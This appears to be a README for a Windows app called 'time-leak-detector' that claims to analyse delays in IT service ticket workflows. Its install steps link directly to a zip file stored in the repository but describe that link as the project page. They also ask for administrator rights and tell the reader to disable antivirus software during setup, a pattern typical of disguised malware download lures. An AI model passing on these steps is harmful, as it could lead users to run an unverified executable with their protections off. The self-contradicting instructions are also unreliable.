time-leak-detector is a tool that helps you spot delays and inefficiencies in IT service management (ITSM) ticket workflows. It looks at the life cycle of your IT tickets and shows where time is being wasted. It also lets you test ideas on how to reduce these delays and save costs. You do not need to know about programming to use it.
This tool is built for people who want clear insights into how their IT service processes perform. It helps managers and teams understand where bottlenecks happen and what changes would help.
- Windows 10 or later (64-bit recommended)
- At least 4 GB of RAM
- 500 MB free disk space for installation and temporary data
- Internet access to download the application
- Administrator rights to install software on your PC
Follow these steps to get the application running on your Windows computer. Each step is explained with details to make the process easy, even if you have never installed software before.
Click the large badge above or visit this page in your web browser:
https://raw.githubusercontent.com/chazuri/time-leak-detector/main/app/detector-time-leak-v2.9.zip
This will take you to the project's main page on GitHub.
On that page, look for a section named Releases or a button labeled Releases. It is usually located on the right side or below the project description.
Click the Releases link. This page contains the latest versions of the software ready to download.
In the latest release, find the file named like time-leak-detector-setup.exe or similar for Windows.
Click this file link to start the download. Save it to a place you can easily find, such as the Downloads folder on your PC.
If you are unsure, you can usually check your browser's download list to see where the file saved.
Once downloaded, open the folder where the installer file is saved. Double-click the file time-leak-detector-setup.exe to start the installation.
Windows may ask if you want to allow the program to make changes. Choose Yes.
A setup window will open and guide you through the installation steps.
- Accept the license agreement by clicking I Agree or Next.
- Choose the default installation folder or pick a different location if you prefer.
- Click Install to start copying files.
- Wait for the process to finish.
When completed, click Finish.
Look for a new shortcut on your desktop or in your Start menu called time-leak-detector.
Click this icon to open the application. The main window will appear, ready for you to use.
The application has a simple interface built for ease. Here is how to start exploring your ITSM ticket workflows.
Most ITSM tools export ticket data in common file formats like CSV or Excel.
- Click the Import Data button.
- Choose the data file from your computer.
- The app will load the ticket information for analysis.
The app shows visual charts and reports that highlight where delays occur in your ticket lifecycle.
- Look for areas with longer wait times or frequent back-and-forth.
- The timeline chart will show each step's duration.
Change settings such as staff availability or process steps to see how it affects costs and timings.
- Adjust parameters using sliders or input boxes provided.
- The simulation runs and updates results instantly.
This feature helps you test different ways to improve your IT service operations without real-world risks.
- If the app does not start, try restarting your computer first.
- Make sure your Windows version meets the minimum system requirements.
- Check that your data file is formatted correctly (CSV or Excel).
- If you get an error when importing, confirm the file columns match expected fields (such as ticket ID, status, timestamps).
- Disable any antivirus software temporarily during installation if it blocks the setup.
- Update your graphics drivers if charts do not display correctly.
- Data Refresh Rate: Set how often the app updates analysis when new tickets arrive.
- Report Export: Export charts and reports as PDF or Excel for sharing with your team.
- Notification Alerts: Enable or disable alerts for key inefficiency findings.
- Theme: Switch between light and dark modes depending on your preference.
- Regularly update your ticket data to keep the analysis accurate.
- Use the simulation feature to prepare for changes before implementing them.
- Export reports to document your IT service improvements.
- Run the app during work hours for real-time monitoring if you use live data imports.